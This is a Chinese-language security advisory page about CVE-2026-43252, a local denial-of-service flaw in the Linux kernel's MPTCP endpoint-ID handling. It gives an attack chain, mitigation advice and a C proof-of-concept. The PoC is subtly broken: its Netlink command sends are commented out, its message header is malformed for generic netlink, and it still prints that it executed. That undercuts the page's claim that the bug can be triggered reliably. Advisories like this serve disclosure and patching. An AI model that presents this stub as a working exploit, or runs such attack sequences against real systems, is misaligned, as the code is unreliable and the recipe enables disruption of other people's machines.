IPBUF安全漏洞报告
English
CVE-2026-43252 CVSS 5.5 中危

CVE-2026-43252 Linux内核MPTCP拒绝服务漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43252
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelMPTCP拒绝服务本地漏洞逻辑错误

漏洞概述

Linux内核的MPTCP(多路径TCP)子系统中存在一个逻辑缺陷,主要涉及路径管理器(PM)对端点ID的处理机制。当内核执行移除端点操作时,未能正确将ID标记为可用状态。Syzkaller模糊测试工具通过特定的操作组合发现了该问题,导致内核在`net/mptcp/pm_kernel.c`中触发WARNING警告。由于资源管理状态的异常,攻击者可利用此漏洞消耗系统资源或导致内核网络子系统不稳定,从而引发拒绝服务。该漏洞利用难度低,需本地低权限即可触发,且无需用户交互。

技术细节

该漏洞位于Linux内核的`net/mptcp/pm_kernel.c`文件中,核心问题在于`rm endp`(移除端点)逻辑的实现缺陷。正常情况下,当一个MPTCP子流或端点被移除时,其占用的ID位图应被清除并标记为可用,以便后续重用。然而,漏洞代码在执行移除操作时,遗漏了将ID标记回可用状态的步骤。当后续调用`mptcp_pm_nl_set_flags`等函数尝试对连接进行全网格或标志设置时,会调用`__mark_subflow_endp_available`进行检查。此时,由于ID状态未正确回收,内核触发了WARN_ON宏,导致堆栈跟踪打印并可能中断正常处理流程。攻击者可通过发送特制的Netlink消息序列,先添加并移除端点,随后修改网络标志,从而稳定地触发该逻辑错误。尽管未直接导致内存破坏,但持续的内核警告和状态错误会严重影响系统可用性。

攻击链分析

STEP 1
获取本地访问权限
攻击者获取目标Linux系统的本地低权限用户访问权限。
STEP 2
构建恶意Netlink消息
攻击者编写程序利用Netlink套接字与内核MPTCP路径管理器通信。
STEP 3
执行端点操作序列
程序首先添加并移除一个MPTCP端点,随后调用设置标志的操作。
STEP 4
触发内核警告
内核在检查端点ID状态时发现并未被标记为可用,触发WARNING,导致系统不稳定或拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43252 * This code demonstrates the logic flow to trigger the warning. * It requires a kernel with MPTCP enabled and vulnerable version. * Compile with: gcc -o poc_mptcp poc_mptcp.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <linux/genetlink.h> // Simplified Netlink message setup to interact with MPTCP PM void send_mptcp_nl_msg(int sock, int cmd) { struct sockaddr_nl sa; struct msghdr msg; struct iovec iov; char buf[1024]; struct nlmsghdr *nh; memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; memset(buf, 0, sizeof(buf)); nh = (struct nlmsghdr *)buf; nh->nlmsg_type = cmd; // MPTCP PM cmd type nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nh->nlmsg_len = sizeof(struct nlmsghdr); iov.iov_base = buf; iov.iov_len = nh->nlmsg_len; memset(&msg, 0, sizeof(msg)); msg.msg_name = &sa; msg.msg_namelen = sizeof(sa); msg.msg_iov = &iov; msg.msg_iovlen = 1; sendmsg(sock, &msg, 0); } int main() { int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (sock < 0) { perror("socket"); return 1; } // Step 1: Add Endpoint (simulated) // send_mptcp_nl_msg(sock, MPTCP_PM_CMD_ADD); // Step 2: Remove Endpoint (simulated) - This triggers the bug if ID not freed // send_mptcp_nl_msg(sock, MPTCP_PM_CMD_REMOVE); // Step 3: Set Flags (simulated) - This triggers the check and warning // send_mptcp_nl_msg(sock, MPTCP_PM_CMD_SET_FLAGS); printf("PoC executed. Check dmesg for WARN_ON in mptcp_pm_kernel.c\n"); close(sock); return 0; }

影响范围

Linux Kernel (Mainline)
Linux Kernel (Stable branches with MPTCP support prior to fix)

防御指南

临时缓解措施
建议管理员尽快应用Linux内核官方提供的补丁(参考git.kernel.org链接),该补丁确保在移除端点时正确设置ID的可用状态。在未升级前,可通过严格限制本地用户权限来降低被攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表